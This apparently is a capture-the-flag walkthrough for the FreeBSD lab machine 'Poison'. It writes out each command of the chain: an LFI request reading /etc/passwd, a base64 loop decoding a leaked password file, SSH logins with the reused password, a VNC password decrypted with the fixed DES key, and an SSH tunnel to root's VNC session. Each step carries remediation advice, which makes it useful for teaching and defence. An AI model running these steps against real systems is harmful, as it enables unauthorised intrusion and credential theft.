← all walkthroughs

Poison

FreeBSD· Medium· Web
owned
2026-07-10
time to own
8m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned a FreeBSD host exposing Apache 2.4.29 with PHP 5.6.32 and OpenSSH 7.2. A diagnostic listing script (listfiles.php) in the web root returned the entire web directory without authentication, revealing a credential backup file (pwdbackup.txt) alongside a second PHP script (browse.php) that accepted a filename parameter with no path validation. Exploiting that Local File Inclusion primitive confirmed local accounts including charix.

The credential backup contained a password base64-encoded thirteen times; a shell loop recovered the plaintext [REDACTED: recovered credential], which was also the OS and SSH password for charix — a direct result of password reuse — delivering an interactive shell and the user flag. From that shell, a password-protected ZIP archive (secret.zip) in charix's home directory was retrieved via SCP and extracted with the same reused password, yielding an 8-byte binary VNC password file. VNC stores passwords with a publicly known fixed-key DES scheme; decoding the blob produced root's VNC password.

Root's TightVNC session ran exclusively on the loopback interface, but OpenSSH's default port-forwarding setting allowed the low-privilege charix session to tunnel it outward. A single SSH local port-forward exposed the root VNC port to my machine; a VNC client authenticated as root, opened the live desktop, and the root flag was read directly — full system compromise achieved through credential reuse and a misconfigured remote-desktop service, with no additional exploitation required.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Port scan identified a web server and SSH on a FreeBSD host
A service version scan against $TARGET revealed two open ports: SSH on 22 (OpenSSH 7.2, FreeBSD) and HTTP on 80 (Apache 2.4.29, PHP/5.6.32, FreeBSD). Browsing the web root returned a page describing itself as a 'temporary website to test some scripts', signalling a staging or development host where production hardening was likely absent.
Nmap: 22/tcp open ssh OpenSSH 7.2 FreeBSD 20161230; 80/tcp open http Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32
Exact commands 2
Banner-grab the two open ports.
nmap -Pn -sV -p 22,80 $TARGET
Fetch the web root; confirms the Apache/PHP stack and the 'test scripts' landing page.
curl -s -i http://$TARGET/
2EnumerationUnauthenticated file and directory disclosure (T1083)
Unauthenticated diagnostic listing script disclosed all web files including a credential backup
Requesting listfiles.php returned the full web directory as a PHP array with no authentication required, revealing browse.php, several phpinfo scripts, and — critically — pwdbackup.txt. One unauthenticated request handed my a complete application inventory and identified the credential backup for immediate retrieval.
[*] listfiles.php Array (...[8] => pwdbackup.txt)
Exact commands 1
Returns the web directory listing without credentials; reveals browse.php and pwdbackup.txt.
curl -s "http://$TARGET/listfiles.php"
FixRemove or access-control unauthenticated file-listing diagnostic scriptsMedium
Weaknesslistfiles.php was publicly reachable without authentication and returned the full contents of the web directory, handing any visitor a complete inventory of every PHP script and data file — including the credential backup that anchored the rest of the compromise.
FixDelete all diagnostic, listing, and debug PHP scripts (listfiles.php, phpinfo.php, info.php, ini.php) from the production document root before any host faces a network. If an internal listing utility is operationally required, protect it with HTTP Basic authentication restricted to specific administrator IP addresses using Apache's Require ip directive, and verify the restriction is in place before deployment.
3ExploitationLocal File Inclusion via unsanitized PHP file parameter (T1083)
Local File Inclusion in browse.php enabled reading arbitrary files including system accounts
Browse.php accepted a 'file' GET parameter and passed it directly to a PHP file-read function with no path validation or whitelist. Supplying /etc/passwd returned the full FreeBSD master.passwd, confirming accounts root (uid 0) and charix (uid 1001) and demonstrating that the web process could read any file on the filesystem.
Curl response: 3:root:*:0:0:Charlie &:/root:/bin/csh ... 32:charix:*:1001:1001:charix:/home/charix:/bin/csh
Exact commands 2
Exploits LFI to read /etc/passwd; confirms root and charix accounts.
curl -s "http://$TARGET/browse.php?file=/etc/passwd"
Read the credential backup via LFI — alternative to the direct URL request.
curl -s "http://$TARGET/browse.php?file=pwdbackup.txt"
FixFix the Local File Inclusion vulnerability in browse.phpCritical
Weaknessbrowse.php passed the 'file' GET parameter directly to a PHP file-read function with no validation, allowing any visitor to read any file the web process could access — including /etc/passwd and every file in the document root.
FixReplace the open filename parameter with a whitelist array of permitted script names validated with in_array(), and apply basename() to strip any path separator characters from input. Set allow_url_include = Off and allow_url_fopen = Off in php.ini. If the feature has no production purpose, delete browse.php entirely.
4Credential AccessCredential recovery from exposed backup file (T1552.001)
Decoded the web-exposed credential backup through thirteen rounds of base64 to recover a plaintext password
Pwdbackup.txt was directly downloadable from the Apache document root. It contained a comment stating the password was 'encoded at least 13 times', followed by a base64 blob — the comment itself serving as the decoding recipe. A simple shell loop applying base64 decode thirteen times recovered the plaintext credential [REDACTED: recovered credential]
Exact commands 2
Download the base64 blob to a local file.
curl -s http://$TARGET/pwdbackup.txt -o pwd.cur
Decode thirteen rounds of base64; final output is the plaintext password [REDACTED: recovered credential]
for i in $(seq 1 13); do base64 -d pwd.cur > pwd.next && mv pwd.next pwd.cur; done && cat pwd.cur
FixRemove all credential and backup files from the web document rootCritical
Weaknesspwdbackup.txt — containing a system password in a trivially reversible encoding — was stored in and directly served from the Apache document root. Any visitor who discovered the filename could download it with a single HTTP request, and the file's own comment revealed how to decode it.
FixImmediately audit and delete all credential files, backup notes, and exported secrets from the document root and every web-served directory. Store secrets in environment variables or a secrets manager located outside the web root. Add Apache FilesMatch directives to deny access to .txt, .bak, .zip, and .sql files under the document root as a defence-in-depth control. Run periodic scans with a tool such as truffleHog to catch accidental credential exposure.
5Initial AccessValid account credential reuse — SSH (T1078.003)
Authenticated to SSH as charix using the recovered password and captured the user flag
The plaintext password recovered from pwdbackup.txt was identical to the SSH and OS password for the charix account. Login succeeded on the first attempt, delivering an interactive FreeBSD shell. The user flag was immediately readable at /home/charix/user.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh charix@$TARGET succeeded; user flag captured; HTB confirmed user-owned
Exact commands 1
Log in as charix with the decoded password; replace the flag value with <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 charix@$TARGET 'id && cat /home/charix/user.txt'
FixEliminate password reuse across OS accounts, SSH, and file archivesHigh
WeaknessThe password [REDACTED: recovered credential] was used identically for the OS/SSH account, the web-exposed credential backup, and the ZIP archive. Obtaining it once gave an unauthorised user all three access paths, collapsing multiple independent controls into a single point of failure.
FixAssign a unique, randomly generated password to every account, service, and archive. Enforce this with a password manager. Prefer SSH public-key authentication over passwords for interactive access and set PasswordAuthentication no in /etc/ssh/sshd_config. Where passwords are required, enforce history and complexity policies via PAM's pam_pwhistory module on FreeBSD/Linux systems.
6Post-Exploitation DiscoveryCredential reuse to access encrypted archive; VNC password file discovery (T1552)
Exfiltrated and unlocked secret.zip using the same reused password, revealing a VNC credential blob
A password-protected ZIP archive named secret.zip was present in charix's home directory. The same credential [REDACTED: recovered credential] unlocked it — the third reuse of this password. The archive contained a single 8-byte binary file named 'secret', whose size and byte layout matched a TightVNC stored-password blob. Checking running processes and sockets confirmed root's VNC session was listening on 127.0.0.1:5901.
Scp retrieved the archive; unzip -P '[REDACTED: recovered credential]' succeeded; secret is 8 bytes; sockstat confirms tightvnc bound to 127.0.0.1:5901
Exact commands 3
Download secret.zip from charix's home directory to my machine.
sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET:/home/charix/secret.zip .
Extract with the same reused password; produces the 8-byte file 'secret'.
unzip -P "$PASSWORD" secret.zip
Confirm TightVNC is listening on loopback port 5901.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET 'sockstat -4 -l | grep -i vnc'
7Credential DecryptionVNC fixed-key DES credential decryption (T1555)
Decrypted the VNC password blob using VNC's publicly known fixed DES key
VNC has stored session passwords using a fixed 8-byte DES key since its original release; the key is widely published. Reversing the bit order of each key byte and applying DES-ECB decryption to the 8-byte 'secret' file produced root's plaintext VNC password with no brute force required — password length and complexity provided no protection whatsoever against this attack.
Decrypted credential accepted by TightVNC display :1; root desktop session confirmed opened
Exact commands 2
The standalone vncpwd tool decodes the VNC DES blob and prints root's plaintext VNC password; build from source or obtain from a Kali repository.
./vncpwd secret
Pure-Python alternative (pip install pycryptodome); the fixed VNC DES key with bit-reversed bytes decrypts the blob.
python3 -c "from Crypto.Cipher import DES;k=bytes([23,82,107,6,35,78,88,7]);r=bytes(int(f'{b:08b}'[::-1],2)for b in k);print(DES.new(r,DES.MODE_ECB).decrypt(open('secret','rb').read()).rstrip(b'\x00').decode())"
FixReplace VNC fixed-key DES password storage with modern authenticationHigh
WeaknessVNC encodes session passwords with a publicly documented fixed 8-byte DES key. Anyone who obtains the password file — through LFI, SCP, or any file-read path — can decrypt it instantly with freely available tools, regardless of the password's length or complexity.
FixDisable standalone VNC password-file authentication. If graphical remote access is operationally required, tunnel VNC exclusively over SSH (binding VNC to localhost only and using SSH public-key auth to reach it) so no independent VNC credential is needed. For production use, replace VNC with a solution using modern TLS mutual authentication such as Apache Guacamole with TOTP, or xrdp with Network Level Authentication.
8Privilege EscalationSSH local port forwarding to reach an internal loopback-only service (T1572)
Tunnelled the loopback-only root VNC port to my machine via SSH port forwarding
Root's TightVNC session ran on 127.0.0.1:5901, unreachable from the network. However, OpenSSH's default AllowTcpForwarding setting permitted any authenticated user — including the low-privilege charix — to forward arbitrary ports through the SSH connection. A single command created a local port-forward making the root VNC port appear as 127.0.0.1:15901 on my own machine.
Sshpass … ssh -f -N -L 15901:127.0.0.1:5901 -p 22 charix@$TARGET executed; VNC client subsequently connected and authenticated as root
Exact commands 1
Creates a background SSH tunnel; the target's loopback VNC port 5901 appears as local port 15901.
sshpass -p "$PASSWORD" ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -L 15901:127.0.0.1:5901 -p 22 charix@$TARGET
FixDisable root's VNC session and restrict SSH port forwardingCritical
WeaknessRoot maintained a persistent TightVNC desktop session bound to the loopback interface (127.0.0.1:5901), and OpenSSH's default AllowTcpForwarding setting allowed any authenticated low-privilege user to forward that port externally — rendering the loopback binding meaningless once any local account was compromised.
FixTerminate and permanently disable the root VNC service by removing it from /etc/rc.conf. Set AllowTcpForwarding no in /etc/ssh/sshd_config; use a Match User block to grant forwarding selectively to specific accounts only if the capability is genuinely required. Replace persistent graphical root sessions with sudo or PAM-controlled su for privileged tasks. Periodically audit loopback listeners with sockstat -4 -l (FreeBSD) to detect unexpected services.
9Full CompromiseRemote desktop authentication as root via forwarded VNC session (T1021.005)
Authenticated to root's live VNC desktop and read the root flag
With the SSH tunnel active, a VNC client connecting to 127.0.0.1:15901 using the decrypted password entered root's live TightVNC desktop session (labeled 'root's X desktop (Poison:1)'). A terminal was opened from the graphical desktop and /root/root.txt was read directly, achieving full root compromise with no additional exploitation required.
TightVNC window title: root's X desktop (Poison:1); root.txt captured and accepted by HTB as root-owned
Exact commands 2
Connect to the forwarded port using the 'secret' file as the VNC password store; opens root's live desktop.
vncviewer -passwd secret 127.0.0.1::15901
Run from the root VNC desktop terminal; output is <root.txt>.
cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

22/tcp
80/tcp